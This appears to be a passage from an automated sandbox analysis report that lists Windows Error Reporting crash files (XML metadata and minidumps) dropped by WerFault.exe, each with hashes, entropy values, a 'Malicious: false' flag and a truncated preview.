C:\ProgramData\Microsoft\Windows\WER\Temp\WER1664.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4714
Entropy (8bit):	4.598687794629058
Encrypted:	false
SSDEEP:	48:cvIwWl8zs3Jg77aI9RuWpW8VYGYm8M4Jw1GF6Y+q8rR5FMTmdd:uIjfZI77P7VyJw+I5mTmdd
MD5:	151634FD23F84E0AF6C706E0E7639108
SHA1:	D7182F1936F1652F4D8541C243DACE5136406863
SHA-256:	8A6FB3309C20BA062859BAFE1D0C43CBD3BB081329DA2882A25B3D457C6B0436
SHA-512:	A0AD171172E99C19F9CD3A21DB844E2B48008D262809D76936227C279B2244FA86D58038842AC2A86316B0552C3F437D5BBEDAE51C5CFFABB5842703DBCFAE80
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583733" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1EAF.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Nov 11 17:51:09 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	854408
Entropy (8bit):	1.6810731540591572
Encrypted:	false
SSDEEP:	3072:LFlPm9go9q3j9mXoGc91nazq+LlmDggKNBBp:LFleK6OoXoGcagUF
MD5:	2EE501E2262B63096F043F91366D39C0
SHA1:	0BD4CA59060AD6E29F9B207A369AA82079E9B772
SHA-256:	47382ECFA445E321AD59F9B589C4C6B17A7FA8CA11D64B004C2177FA049FB589
SHA-512:	962A67F29FFEAE1C248FBD0D957645D54D70D3E5B7283A47C3825BD9EDA39CEC029E27129EE47BDEE42964091F4FDAF86F673CB259557688CD921EEA4AF4658D
Malicious:	false
Preview:	MDMP..a..... ........D2g.....................................%...E..........T.......8...........T............................/...........1..............................................................................eJ......,2......GenuineIntel............T............C2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER221B.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8442
Entropy (8bit):	3.713533511256963
Encrypted:	false
SSDEEP:	192:R6l7wVeJnR76B6Y2DSSU9wPgmf+KLprN89b1bsfJnm:R6lXJd6B6YfSU9ggmf981gfk
MD5:	1EC16D573D584E64FDDAD1B053C4BB45
SHA1:	92343E76E6E29A334796A5B39F68CAFD4FF080BC
SHA-256:	845AE2E4BFF58341CCB6F08FAFEE1B1B8AEA53D4C693CC6646B843D23AAF747E
SHA-512:	D447D82794B77C2BD45F8A071F2AF2CE1D4D5CDBC6F61415AF057E253B0A29CF37020E7EC2EC3FCB695355E8974F7D4A21FE4498B1911CCEFEBFADFC5422FF35
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.2.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER227A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4714
Entropy (8bit):	4.5997900855427005
Encrypted:	false
SSDEEP:	48:cvIwWl8zs3Jg77aI9RuWpW8VY5Ym8M4Jw1GFN+q8rgmFMTmTd:uIjfZI77P7VJJwc3mmTmTd
MD5:	57D8493C29FBEE1A027EB81C2DD93C5C
SHA1:	7FF4A13EAA76FD3187151BE3C3859B167BDA0825
SHA-256:	FCD75C5E01B339E6C0F6B7575FB7AAE8DD8BED9B3E09C07B9F4CDB411ACBB05E
SHA-512:	8A7FE00DDC50B624504967AD7DAD5C3A71154999FAE6678BCBE66ABD80D0A94608061D7E9F67A0813B801765E71C1BFA086C537FB7BA9B671E8BBB6EC203E1F3
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583733" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER23C0.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Nov 11 17:51:12 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	989064
Entropy (8bit):	1.7444958992026331
Encrypted:	false
SSDEEP:	3072:P0pondkzR197SzVywRtWCm/CecHvQvWJrdP:baW1DmKd
MD5:	D53100BA982E7E7070014AF8BDF56916
SHA1:	9BFFB51EBEE9BE38AA50502C521CF8DEA22292BE
SHA-256:	BC36F7EEB2DB7B761AE3EC186BF13C6E2A32A10CC9C85B46BC0A673CD679BAF7
SHA-512:	25941FC8DA0DA251E2B5CBFE8777113C60ADD83435E7543345F4D72F0C31433D37698C3084BA9067DF77AED3D9752B29F1D3BD30F053BC5A89031D9D91408A6C
Malicious:	false
Preview:	MDMP..a..... ........D2g.....................................2...h..........T.......8...........T...........Pt..8............1...........3..............................................................................eJ......l4......GenuineIntel............T............C2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2BA1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8444
Entropy (8bit):	3.7146632981954673
Encrypted:	false
SSDEEP:	192:R6l7wVeJ7Ry68C6Y2DDSU9QPgmf+KLprG89be4sfMKm:R6lXJY656Y+SU9Agmf9Jerfw
MD5:	AE604829EE46A75898AEB771EE5E6F21
SHA1:	D0FD9B8B84CACDCBDD484F4214F342582A7165FA
SHA-256:	94F8DFB30E8E0715C93A6CF2EC73C57D7300397BAA11B37531F7DAD38503746E
SHA-512:	676EEDF487E61CE2A0738DF07FD72F42A0DAD1973736C3C5CE557B2106B613CB2B3643D69452B4B656B0A31D53F4A2C0BE9F8595D2253B2CAB5402966E3E79D8
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.1.2.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2C5D.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4714
Entropy (8bit):	4.5998148993873285
Encrypted:	false
SSDEEP:	48:cvIwWl8zs3Jg77aI9RuWpW8VYwYm8M4Jw1GFac+q8rsFMTmId:uIjfZI77P7VwJwpclmTmId
MD5:	FCD931B77C7F3A873472BF8A01C12CFF
SHA1:	4368829BC33952D086EE499EB4A33FC9FA1F302B
SHA-256:	BF8433783E7B5EA7AB5A9D28772B22A8BEF972BFDBFD9164E3D39F41401137E9
SHA-512:	18DAF9013786EB1C7742C6AE1CB3E1CA82C020F645CDFF665C025F298CD384F2007762D188A02C8B91E46C6EF920523200031A5F9A4C38E41B8E59CD0596A91E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583733" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2CA9.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Nov 11 17:51:13 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	681966
Entropy (8bit):	1.5435921840714184
Encrypted:	false
SSDEEP:	1536:oUBpe2tnG1T2BmUiiQr3jCbZzRdSXn7tW1bbTGO2:lpekmUF+can7t0p2
MD5:	228AE854B8ABB21CB4DC191A175DAE81
SHA1:	ACD219B8DC88A6C14B8D4D4D1C16E4F0F1418F92
SHA-256:	9BA94E8AE303F1F4914CA917071762BD02A74BB4C4E8686495508CA25F9F24B3
SHA-512:	FCEF89D9AD1F608DF505EFB8EC7294086FD00CDC9694C9495D0A47FE7D421C1DC165882953B27CC4AF29E831569F827DD655F1133C17D7253564D969AD8A2080
Malicious:	false
Preview:	MDMP..a..... ........D2g............4...............<...........:...........T.......8...........T............r...............-..........................................................................................eJ......./......GenuineIntel............T............C2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2F98.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8440
Entropy (8bit):	3.714513340283139
Encrypted:	false
SSDEEP:	192:R6l7wVeJaRt6sdo6Y2D7SU9QPgmf+KLprx89bRgsfqbm:R6lXJO6B6YmSU9Agmf94Rzf/
MD5:	75650C223E376AAECEA1CBD2A507F630
SHA1:	DCCB2BEF728751D29A528CF2B718CC141E307B5C
SHA-256:	8EF9324B86A076E9B4F5CCBA02395E79E7D02A01F03C324F122FECED45AA980D
SHA-512:	7C082D893E14482A7C1074F3DF450234C41C507F2CA006C080D70EAD2EE26CF08A6C9C4E50A4512063A58F6B410671ECA8CDBEC4E3E2AA187C48E21736FE7001
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.9.4.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2FD8.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4714
Entropy (8bit):	4.5997879873341425
Encrypted:	false
SSDEEP:	48:cvIwWl8zs3Jg77aI9RuWpW8VYtYm8M4Jw1GFhWI+q8rIFMTm5d:uIjfZI77P7V5Jwyr9mTm5d
MD5:	838D55479CA2382BC961CECCCE4B32F7
SHA1:	6B60BD64A99885861C8593624A85BAF557E89D9D
SHA-256:	0192AFCD7725FC8F505EDE3570D9A890E24BF32F1AC90E3C82D939CC10167A29
SHA-512:	B19D3116CEA45A2BB2B937F52978E5303E935823BF2A117E89338F1AA1019B0B6806FEAF90724690E66CBA6E5179B834FDF14AA8FE1F0CFAF2597E5BF0F48C93
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583733" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER363E.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Nov 11 17:51:15 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	880128
Entropy (8bit):	1.6737603273180888
Encrypted:	false
SSDEEP:	1536:nyvVjSx6L1ghXDacLijIHDFbj6l2rAuW1hq7jxwVA:nytjSs6acLWwbf8o3F
MD5:	29EDDBC36086A47A2E7541AA3D48F440
SHA1:	CD4A873F7F41D569F4D2377F1B09E31DF9F30175
SHA-256:	4E8397105F7E1F2494BD58DFE330BCDC5C35F816EF5F55317D9E02F4C4BDFB7E
SHA-512:	658ABB8A5A38F12A60886E5AA74A1F66B7F74D047AFBEE59A7EEBD9300F34C62FDBC4331D3B15F49F7509A3071E2AECD20D2BA9A1B99330B7CFAA3224608C1CD
Malicious:	false
Preview:	MDMP..a..... ........D2g....................................4(...P..........T.......8...........T............g..0...........h0..........T2..............................................................................eJ.......2......GenuineIntel............T.......X....C2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3A47.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8440
Entropy (8bit):	3.7152854258299772
Encrypted:	false
SSDEEP:	192:R6l7wVeJNRK656Y2DUSU9asgmf+KLprl89bDssfcBm:R6lXJ2656YpSU9Rgmf9UD/fX
MD5:	F3A116609F63795329871C64DDDF4A7D
SHA1:	66C2C3E5B50E7355CC1CAA2F691409D5B2A6B431
SHA-256:	C41082567074FD749BB4DDFF350CBE482941594CB89F4A4DF9659F1C0B6C14C5
SHA-512:	6E1DA4601DCD56EF0BE0760434CF36806F20466AC2BE635AF13B60DF756066210A44457AC519DD8DC4B1A617B6E96AFBED3E52CF83EE49F71086FFDF6E5689F6
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.4.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3A96.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4714
Entropy (8bit):	4.602722257506383
Encrypted:	false
SSDEEP:	48:cvIwWl8zs3Jg77aI9RuWpW8VYtYm8M4Jw1GF5lT+q8r0iHFMTmed:uIjfZI77P7VNJwu9iHmTmed
MD5:	3E47E9111C812BB55BDD438343353681
SHA1:	ADFF5A057707A0610DE8F78BEEA8583AAE439D50
SHA-256:	036EBE52419870196D9F80CF9AED5C76DFF1CA9AA60DD52338B0E29F64A3A38B
SHA-512:	117315B0E1631251AEC053853C6D412D5B1CBC3F80705E9B1953E48BB42B7D64A61033CFC2E5439888E818A399B7CFDC719160083A7D8C71B706E2E69FD2BF29
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583733" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER40AE.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Nov 11 17:51:18 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	1054918
Entropy (8bit):	1.72845446287247
Encrypted:	false
SSDEEP:	1536:3kKLVqFCPRmm0sBwIedS4b2dMXlQ/1dsIEUxdNQdJD9w/qKkpDmbfcSZEbuPGz5O:UKZ51heHdSKHVQEIpdNgZ9ykGEKZ
MD5:	6D32D06AF8B50D5E657D0239F658BAB5
SHA1:	872BF9B251E40812277082EECB2E7D6618C49853
SHA-256:	421234DB54E73344310963D8832841119345A320BD3F2049D34E0EE19908A302
SHA-512:	9D6E08FD078D8313BC9C0C9D269DB2F040313EE25517ED2BC35FE8CD65F526806952FB2EEE72475053813B8280CCFDBDF918612C313EE79C02F1F538AFD9EBAE
Malicious:	false
Preview:	MDMP..a..... ........D2g....................................43...t..........T.......8...........T................s...........2...........4..............................................................................eJ......,5......GenuineIntel............T............C2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4524.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8446
Entropy (8bit):	3.715225088252287
Encrypted:	false
SSDEEP:	192:R6l7wVeJPR26PBrR6Y2DZSU9vgmf+KLprQ89b0SCsf08m:R6lXJY6JrR6YUSU9vgmf970SBfG
MD5:	7C33C2C513663DB0D836D17C85FE624D
SHA1:	C76090550C1E1600F0FD5F655C611CBFB8BFF18A
SHA-256:	5EFB5F7C5E70E51520CC52E7CC7FBC8A928BBEDCF475A902FC58A4819532E9BD
SHA-512:	7FA229AEE13D0E9DAC119CADD2B2CD98825BEC5FB380E3BA04A5C004900340AABB71E6FF1961A976A755BEB44ACBBC002ABDA17B8D4100769656E302E5C8F66B
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.3.2.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4583.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4714
Entropy (8bit):	4.597873646101092
Encrypted:	false
SSDEEP:	48:cvIwWl8zs+Jg77aI9RuWpW8VYtYm8M4Jw1GFWJI+q8r5FMTmfd:uIjf0I77P7VVJwVIcmTmfd
MD5:	25D69E5B6C07BA8D71B496A5E7C848C0
SHA1:	31B37FBB559AD15B42A3F3E2A6F41201938F182E
